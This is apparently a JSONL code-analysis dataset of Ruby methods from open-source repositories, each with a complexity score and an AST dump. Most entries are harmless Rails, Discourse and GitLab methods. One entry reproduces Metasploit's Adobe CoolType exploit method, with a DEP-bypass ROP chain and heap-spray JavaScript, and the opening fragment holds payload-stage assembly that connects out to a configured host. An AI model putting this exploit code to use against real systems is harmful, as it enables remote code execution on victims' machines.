\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoded_port\"]}]},{\"type\":\"str\",\"children\":[\"    ; family AF_INET and port number - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        mov esi, esp            ; save pointer to sockaddr struct\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        push eax                ; if we succeed, eax will be zero, push zero for the flags param.\\n\"]},{\"type\":\"str\",\"children\":[\"        push eax                ; push null for reserved parameter\\n\"]},{\"type\":\"str\",\"children\":[\"        push eax                ; we do not specify a WSAPROTOCOL_INFO structure\\n\"]},{\"type\":\"str\",\"children\":[\"        push eax                ; we do not specify a protocol\\n\"]},{\"type\":\"str\",\"children\":[\"        inc eax                 ;\\n\"]},{\"type\":\"str\",\"children\":[\"        inc eax                 ;\\n\"]},{\"type\":\"str\",\"children\":[\"        push eax                ; push SOCK_DGRAM (UDP socket)\\n\"]},{\"type\":\"str\",\"children\":[\"        push eax                ; push AF_INET\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"ws2_32.dll\"]},{\"type\":\"str\",\"children\":[\"WSASocketA\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        call ebp                ; WSASocketA( AF_INET, SOCK_DGRAM, 0, 0, 0, 0 );\\n\"]},{\"type\":\"str\",\"children\":[\"        xchg edi, eax           ; save the socket for later, don't care about the value of eax after this\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      try_connect:\\n\"]},{\"type\":\"str\",\"children\":[\"        push 16                 ; length of the sockaddr struct\\n\"]},{\"type\":\"str\",\"children\":[\"        push esi                ; pointer to the sockaddr struct\\n\"]},{\"type\":\"str\",\"children\":[\"        push edi                ; the socket\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"ws2_32.dll\"]},{\"type\":\"str\",\"children\":[\"connect\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        call ebp                ; connect( s, &sockaddr, 16 );\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        test eax,eax            ; non-zero means a failure\\n\"]},{\"type\":\"str\",\"children\":[\"        jz connected\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      handle_connect_failure:\\n\"]},{\"type\":\"str\",\"children\":[\"        ; decrement our attempt count and try again\\n\"]},{\"type\":\"str\",\"children\":[\"        dec [esi+8]\\n\"]},{\"type\":\"str\",\"children\":[\"        jnz try_connect\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"exitfunk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asm\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      failure:\\n\"]},{\"type\":\"str\",\"children\":[\"        call exitfunk\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asm\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      failure:\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"kernel32.dll\"]},{\"type\":\"str\",\"children\":[\"ExitProcess\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        call ebp\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asm\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      ; this label is required so that reconnect attempts include\\n\"]},{\"type\":\"str\",\"children\":[\"      ; the UUID stuff if required.\\n\"]},{\"type\":\"str\",\"children\":[\"      connected:\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"include_send_uuid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asm\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"asm_send_uuid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asm\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"asm_send_newline\"]}]}]},{\"type\":\"lvar\",\"children\":[\"asm\"]}]}]}","id":"6b894324-14e4-4a86-af33-be3a9898191e"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/callbacks.rb","start_line":66,"raw_source":"def self.extended(base) # :nodoc:\n      base.class_eval do\n        include ActiveSupport::Callbacks\n      end\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"extended\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Callbacks\"]}]}]}]}","id":"9c2f863b-9ac7-4cc8-b304-8cc3c4ec49d1"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/enum.rb","start_line":35,"raw_source":"def [](id_or_value)\n    fetch(id_or_value) { key(id_or_value) }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"[]\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id_or_value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch\",{\"type\":\"lvar\",\"children\":[\"id_or_value\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"key\",{\"type\":\"lvar\",\"children\":[\"id_or_value\"]}]}]}]}","id":"9c9d0a72-dacb-41a4-a637-3e7afcaa0cd6"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-reactions/app/services/discourse_reactions/reaction_manager.rb","start_line":43,"raw_source":"def toggle_like\n      remove_reaction if reaction_user.present?\n      @like ? remove_shadow_like : add_shadow_like\n    end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"toggle_like\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reaction_user\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"remove_reaction\"]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@like\"]},{\"type\":\"send\",\"children\":[null,\"remove_shadow_like\"]},{\"type\":\"send\",\"children\":[null,\"add_shadow_like\"]}]}]}]}","id":"f8b40825-cc83-45fd-aba5-8fe3f947ae31"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb","start_line":133,"raw_source":"def make_js(encoded_payload)\n    # The following executes a ret2lib using icucnv36.dll\n    # The effect is to bypass DEP and execute the shellcode in an indirect way\n    stack_data = [\n      0x41414141,   # unused\n      0x4a8063a5,   # pop ecx / ret\n      0x4a8a0000,   # becomes ecx\n\n      0x4a802196,   # mov [ecx],eax / ret # save whatever eax starts as\n\n      0x4a801f90,   # pop eax / ret\n      0x4a84903c,   # becomes eax (import for CreateFileA)\n\n      # -- call CreateFileA\n      0x4a80b692,   # jmp [eax]\n\n      0x4a801064,   # ret\n\n      0x4a8522c8,   # first arg to CreateFileA (lpFileName / pointer to \"iso88591\")\n      0x10000000,   # second arg  - dwDesiredAccess\n      0x00000000,   # third arg   - dwShareMode\n      0x00000000,   # fourth arg  - lpSecurityAttributes\n      0x00000002,   # fifth arg   - dwCreationDisposition\n      0x00000102,   # sixth arg   - dwFlagsAndAttributes\n      0x00000000,   # seventh arg - hTemplateFile\n\n      0x4a8063a5,   # pop ecx / ret\n      0x4a801064,   # becomes ecx\n\n      0x4a842db2,   # xchg eax,edi / ret\n\n      0x4a802ab1,   # pop ebx / ret\n      0x00000008,   # becomes ebx - offset to modify\n\n      #\n      # This points at a neat-o block of code that ... TBD\n      #\n      #   and [esp+ebx*2],edi\n      #   jne check_slash\n      # ret_one:\n      #   mov al,1\n      #   ret\n      # check_slash:\n      #   cmp al,0x2f\n      #   je ret_one\n      #   cmp al,0x41\n      #   jl check_lower\n      #   cmp al,0x5a\n      #   jle check_ptr\n      # check_lower:\n      #   cmp al,0x61\n      #   jl ret_zero\n      #   cmp al,0x7a\n      #   jg ret_zero\n      #   cmp [ecx+1],0x3a\n      #   je ret_one\n      # ret_zero:\n      #   xor al,al\n      #   ret\n      #\n\n      0x4a80a8a6,   # execute fun block\n\n      0x4a801f90,   # pop eax / ret\n      0x4a849038,   # becomes eax (import for CreateFileMappingA)\n\n      # -- call CreateFileMappingA\n      0x4a80b692,   # jmp [eax]\n\n      0x4a801064,   # ret\n\n      0xffffffff,   # arguments to CreateFileMappingA, hFile\n      0x00000000,   # lpAttributes\n      0x00000040,   # flProtect\n      0x00000000,   # dwMaximumSizeHigh\n      0x00010000,   # dwMaximumSizeLow\n      0x00000000,   # lpName\n\n      0x4a8063a5,   # pop ecx / ret\n      0x4a801064,   # becomes ecx\n\n      0x4a842db2,   # xchg eax,edi / ret\n\n      0x4a802ab1,   # pop ebx / ret\n      0x00000008,   # becomes ebx - offset to modify\n\n      0x4a80a8a6,   # execute fun block\n\n      0x4a801f90,   # pop eax / ret\n      0x4a849030,   # becomes eax (import for MapViewOfFile\n\n      # -- call MapViewOfFile\n      0x4a80b692,   # jmp [eax]\n\n      0x4a801064,   # ret\n\n      0xffffffff,   # args to MapViewOfFile - hFileMappingObject\n      0x00000022,   # dwDesiredAccess\n      0x00000000,   # dwFileOffsetHigh\n      0x00000000,   # dwFileOffsetLow\n      0x00010000,   # dwNumberOfBytesToMap\n\n      0x4a8063a5,   # pop ecx / ret\n      0x4a8a0004,   # becomes ecx - writable pointer\n\n      0x4a802196,   # mov [ecx],eax / ret - save map base addr\n\n      0x4a8063a5,   # pop ecx / ret\n      0x4a801064,   # becomes ecx - ptr to ret\n\n      0x4a842db2,   # xchg eax,edi / ret\n\n      0x4a802ab1,   # pop ebx / ret\n      0x00000030,   # becomes ebx - offset to modify\n\n      0x4a80a8a6,   # execute fun block\n\n      0x4a801f90,   # pop eax / ret\n      0x4a8a0004,   # becomes eax - saved file mapping ptr\n\n      0x4a80a7d8,   # mov eax,[eax] / ret - load saved mapping ptr\n\n      0x4a8063a5,   # pop ecx / ret\n      0x4a801064,   # becomes ecx - ptr to ret\n\n      0x4a842db2,   # xchg eax,edi / ret\n\n      0x4a802ab1,   # pop ebx / ret\n      0x00000020,   # becomes ebx - offset to modify\n\n      0x4a80a8a6,   # execute fun block\n\n      0x4a8063a5,   # pop ecx / ret\n      0x4a801064,   # becomes ecx - ptr to ret\n\n      0x4a80aedc,   # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret\n\n      0x4a801f90,   # pop eax / ret\n      0x00000034,   # becomes eax\n\n      0x4a80d585,   # add eax,edx / ret\n\n      0x4a8063a5,   # pop ecx / ret\n      0x4a801064,   # becomes ecx - ptr to ret\n\n      0x4a842db2,   # xchg eax,edi / ret\n\n      0x4a802ab1,   # pop ebx / ret\n      0x0000000a,   # becomes ebx - offset to modify\n\n      0x4a80a8a6,   # execute fun block\n\n      0x4a801f90,   # pop eax / ret\n      0x4a849170,   # becomes eax (import for memcpy)\n\n      # -- call memcpy\n      0x4a80b692,   # jmp [eax]\n\n      0xffffffff,   # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy\n      0xffffffff,   # becomes first arg to memcpy (dst)\n      0xffffffff,   # becomes second arg to memcpy (src)\n      0x00001000,   # becomes third arg to memcpy (length)\n      # 0x0000258b,   # ??\n      # 0x4d4d4a8a,   # ??\n    ].pack('V*')\n\n    var_unescape = rand_text_alpha(rand(100) + 1)\n    var_shellcode = rand_text_alpha(rand(100) + 1)\n\n    var_start = rand_text_alpha(rand(100) + 1)\n\n    var_s = 0x10000\n    var_c = rand_text_alpha(rand(100) + 1)\n    var_b = rand_text_alpha(rand(100) + 1)\n    var_d = rand_text_alpha(rand(100) + 1)\n    var_3 = rand_text_alpha(rand(100) + 1)\n    var_i = rand_text_alpha(rand(100) + 1)\n    var_4 = rand_text_alpha(rand(100) + 1)\n\n    payload_buf = ''\n    payload_buf << stack_data\n    payload_buf << encoded_payload\n\n    escaped_payload = Rex::Text.to_unescape(payload_buf)\n\n    js = %Q|\nvar #{var_unescape} = unescape;\nvar #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );\nvar #{var_c} = #{var_unescape}( \"%\" + \"u\" + \"0\" + \"c\" + \"0\" + \"c\" + \"%u\" + \"0\" + \"c\" + \"0\" + \"c\" );\nwhile (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};\n#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);\n#{var_b} += #{var_shellcode};\n#{var_b} += #{var_c};\n#{var_d} = #{var_b}.substring(0, #{var_s}/2);\nwhile(#{var_d}.length < 0x80000) #{var_d} += #{var_d};\n#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);\nvar #{var_4} = new Array();\nfor (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+\"s\";\n|\n\n    js\n  end","complexity_score":79.9,"ast_json":"{\"type\":\"def\",\"children\":[\"make_js\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"encoded_payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stack_data\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1094795585]},{\"type\":\"int\",\"children\":[1249928101]},{\"type\":\"int\",\"children\":[1250557952]},{\"type\":\"int\",\"children\":[1249911190]},{\"type\":\"int\",\"children\":[1249910672]},{\"type\":\"int\",\"children\":[1250201660]},{\"type\":\"int\",\"children\":[1249949330]},{\"type\":\"int\",\"children\":[1249906788]},{\"type\":\"int\",\"children\":[1250239176]},{\"type\":\"int\",\"children\":[268435456]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[258]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1249928101]},{\"type\":\"int\",\"children\":[1249906788]},{\"type\":\"int\",\"children\":[1250176434]},{\"type\":\"int\",\"children\":[1249913521]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[1249945766]},{\"type\":\"int\",\"children\":[1249910672]},{\"type\":\"int\",\"children\":[1250201656]},{\"type\":\"int\",\"children\":[1249949330]},{\"type\":\"int\",\"children\":[1249906788]},{\"type\":\"int\",\"children\":[4294967295]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[64]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[65536]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1249928101]},{\"type\":\"int\",\"children\":[1249906788]},{\"type\":\"int\",\"children\":[1250176434]},{\"type\":\"int\",\"children\":[1249913521]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[1249945766]},{\"type\":\"int\",\"children\":[1249910672]},{\"type\":\"int\",\"children\":[1250201648]},{\"type\":\"int\",\"children\":[1249949330]},{\"type\":\"int\",\"children\":[1249906788]},{\"type\":\"int\",\"children\":[4294967295]},{\"type\":\"int\",\"children\":[34]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[65536]},{\"type\":\"int\",\"children\":[1249928101]},{\"type\":\"int\",\"children\":[1250557956]},{\"type\":\"int\",\"children\":[1249911190]},{\"type\":\"int\",\"children\":[1249928101]},{\"type\":\"int\",\"children\":[1249906788]},{\"type\":\"int\",\"children\":[1250176434]},{\"type\":\"int\",\"children\":[1249913521]},{\"type\":\"int\",\"children\":[48]},{\"type\":\"int\",\"children\":[1249945766]},{\"type\":\"int\",\"children\":[1249910672]},{\"type\":\"int\",\"children\":[1250557956]},{\"type\":\"int\",\"children\":[1249945560]},{\"type\":\"int\",\"children\":[1249928101]},{\"type\":\"int\",\"children\":[1249906788]},{\"type\":\"int\",\"children\":[1250176434]},{\"type\":\"int\",\"children\":[1249913521]},{\"type\":\"int\",\"children\":[32]},{\"type\":\"int\",\"children\":[1249945766]},{\"type\":\"int\",\"children\":[1249928101]},{\"type\":\"int\",\"children\":[1249906788]},{\"type\":\"int\",\"children\":[1249947356]},{\"type\":\"int\",\"children\":[1249910672]},{\"type\":\"int\",\"children\":[52]},{\"type\":\"int\",\"children\":[1249957253]},{\"type\":\"int\",\"children\":[1249928101]},{\"type\":\"int\",\"children\":[1249906788]},{\"type\":\"int\",\"children\":[1250176434]},{\"type\":\"int\",\"children\":[1249913521]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[1249945766]},{\"type\":\"int\",\"children\":[1249910672]},{\"type\":\"int\",\"children\":[1250201968]},{\"type\":\"int\",\"children\":[1249949330]},{\"type\":\"int\",\"children\":[4294967295]},{\"type\":\"int\",\"children\":[4294967295]},{\"type\":\"int\",\"children\":[4294967295]},{\"type\":\"int\",\"children\":[4096]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_unescape\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_shellcode\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_start\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_s\",{\"type\":\"int\",\"children\":[65536]}]},{\"type\":\"lvasgn\",\"children\":[\"var_c\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_b\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_d\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_3\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_i\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_4\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_buf\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_buf\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"stack_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_buf\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"encoded_payload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"escaped_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unescape\",{\"type\":\"lvar\",\"children\":[\"payload_buf\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_unescape\"]}]},{\"type\":\"str\",\"children\":[\" = unescape;\\n\"]},{\"type\":\"str\",\"children\":[\"var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_shellcode\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_unescape\"]}]},{\"type\":\"str\",\"children\":[\"( '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"escaped_payload\"]}]},{\"type\":\"str\",\"children\":[\"' );\\n\"]},{\"type\":\"str\",\"children\":[\"var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_c\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_unescape\"]}]},{\"type\":\"str\",\"children\":[\"( \\\"%\\\" + \\\"u\\\" + \\\"0\\\" + \\\"c\\\" + \\\"0\\\" + \\\"c\\\" + \\\"%u\\\" + \\\"0\\\" + \\\"c\\\" + \\\"0\\\" + \\\"c\\\" );\\n\"]},{\"type\":\"str\",\"children\":[\"while (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_c\"]}]},{\"type\":\"str\",\"children\":[\".length + 20 + 8 < \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_s\"]}]},{\"type\":\"str\",\"children\":[\") \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_c\"]}]},{\"type\":\"str\",\"children\":[\"+=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_c\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_b\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_c\"]}]},{\"type\":\"str\",\"children\":[\".substring(0, (0x0c0c-0x24)/2);\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_b\"]}]},{\"type\":\"str\",\"children\":[\" += \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_shellcode\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_b\"]}]},{\"type\":\"str\",\"children\":[\" += \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_c\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_d\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_b\"]}]},{\"type\":\"str\",\"children\":[\".substring(0, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_s\"]}]},{\"type\":\"str\",\"children\":[\"/2);\\n\"]},{\"type\":\"str\",\"children\":[\"while(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_d\"]}]},{\"type\":\"str\",\"children\":[\".length < 0x80000) \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_d\"]}]},{\"type\":\"str\",\"children\":[\" += \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_d\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_3\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_d\"]}]},{\"type\":\"str\",\"children\":[\".substring(0, 0x80000 - (0x1020-0x08) / 2);\\n\"]},{\"type\":\"str\",\"children\":[\"var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_4\"]}]},{\"type\":\"str\",\"children\":[\" = new Array();\\n\"]},{\"type\":\"str\",\"children\":[\"for (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\"=0;\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\"<0x1f0;\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\"++) \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_4\"]}]},{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\"]=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_3\"]}]},{\"type\":\"str\",\"children\":[\"+\\\"s\\\";\\n\"]}]}]},{\"type\":\"lvar\",\"children\":[\"js\"]}]}]}","id":"2dbf64ec-d220-4dfa-b57f-5afd895a90fb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/representation/tree_entry.rb","start_line":25,"raw_source":"def initialize(raw_entry, repository)\n          @repository = repository\n\n          super(raw_entry)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw_entry\"]},{\"type\":\"arg\",\"children\":[\"repository\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@repository\",{\"type\":\"lvar\",\"children\":[\"repository\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_entry\"]}]}]}]}","id":"23ed1659-5866-484d-aaaa-45efcaeee843"}
